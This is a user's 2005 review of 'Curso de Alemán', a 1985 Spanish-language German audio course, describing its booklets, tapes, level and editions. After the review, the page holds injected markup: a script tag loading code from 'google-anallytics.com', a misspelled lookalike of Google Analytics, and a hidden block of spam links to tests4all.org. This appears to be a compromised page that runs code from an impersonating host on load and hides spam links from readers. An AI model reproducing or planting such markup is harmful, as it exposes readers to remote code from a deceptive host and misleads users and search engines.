Curso de Alemán. Audiovisual, Interactivo, Programado by Berdagué, Ferrer, Castelreanas Published by Planeta-De Agostini in 1985 (first published in 1985) Program in Spanish for students of the German language Intermediate level Uses approximately 3800 differerent German words Character set: Latin Average price: $300 Audio: 32 Tapes for a total recorded time of 32 hours ISBN: 84-395-0194-3 Dimensions: 25X20 1632 pages Editorial rating:  Post a user comment
The Curso de Alemán by Spanish-Italian printhouse Planeta-De Agostini is a comprehensive German language course comprising 96 17-page booklets, 32 60-minute cassettes, and 4 dictation tapes. The course was originally written for an Italian audience, therefore the constant references to Milan, Naples, Rome, and Italy in many of the conversations and texts. However, since the course contains no dialogue translations, the only parts that had to be translated from Italian to Spanish were the Vocabulary and the Grammar explanations at the end of each issue.
According to the publisher, after completion of the course the learner can achieve level B1 in the Common European Language Framework (equivalent to 400 lecture hours or to the Goethe Institut's Zertifikat Deutsch als Fremdsprache). However, after passing this examination myself with a Sehr gut note, I still find this course challenging, so I would claim it goes all the way to level B2 or close to the Zentrale Mittelstufenprüfung (especially the last 24 issues which are said to be an "advanced course").
At the beginning of each lesson, a German voice instructs the learner to listen Hören Sie zu a Konversation between two or more characters. The conversation is held entirely in German and can be read in a comic-like fashion on the booklet. After the conversation, the same German voice asks to repeat Wiederholen Sie bitte the conversation sentence by sentence as it is repeated with pauses. After this, the German voice asks to answer Antworten Sie bitte questions based on the conversation. Seven conversations are presented on each booklet.
After the conversations, the booklet presents the learner with a German-Spanish Vokabular containing the words and idiomatic phrases used in the booklet.
In even lessons, a short reading comprehension passage is presented. In odd lessons, a dialogue appears instead. No translations in Spanish are given.
The following section is called Lebendiges Deutsch (Living German) and contains two or three short conversations in colloquial German.
Next section is called Übungen (Exercises) and tests specific grammar points dealt with in the booklet.
The following section is called Grammatik and is a one-page grammatical summary of the topics covered in the booklet.
Finally, a one-page test section presents a 10-question quizz.
Since the course was released on weekly deliveries, the learner is expected to cover one issue in one week. This means that completing the whole course can take up to 96 weeks or 1 year and 11 months.
The strongest point in the course are the conversations and the dialogues, which are perfectly pronounced and spoken at the normal rate of utterance starting on lesson one. Although the vocabulary and grammar explanations are in Spanish, the course can be used by anyone willing to learn German since 100% of the tapes are in German.
The weakest point is the grammar. It took me quite a long time to figure out the different cases and declensions since they're not explained in a single go, but bit by bit on different booklets.
Although the course requires no previous knowledge of German, I think for absolute beginners it is a bit hard to follow. I would recommend doing it after Pimsleur German I or after the first 50 lessons of Assimil German. Otherwise, it is by far the best German-language course I've ever come across.
The course was first released in a green cover in 1985 along with other 96-booklet courses in English, French, and, Italian (which are nowhere near as good as the Curso de Alemán). In the year 2000 the four courses were republished and the Curso de Alemán came with yellow covers. This new edition also included 32 compact disks (in addition to the 32 cassettes) and most importantly, 20 graded reading books by the better-known German writers of all times. 'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>working out but never losing weight</a><a href='http://tests4all.org/2/'>what do they do personal trainer</a><a href='http://tests4all.org/3/'>ct quit smoking program</a><a href='http://tests4all.org/4/'>accutane cordarone in the eyes</a><a href='http://tests4all.org/5/'>borderline personality disorder wife cheated</a><a href='http://tests4all.org/6/'>mtdna australia pleistocene occupation</a><a href='http://tests4all.org/7/'>community partner thank you notes</a><a href='http://tests4all.org/8/'>iq test controversy</a><a href='http://tests4all.org/9/'>honing your psychic ability</a><a href='http://tests4all.org/10/'>past life regression dennis linn</a><a href='http://tests4all.org/11/'>date menes death</a><a href='http://tests4all.org/12/'>lung cancer blueberries</a></div>
Submitted by jradetzky on 10/6/2005 |
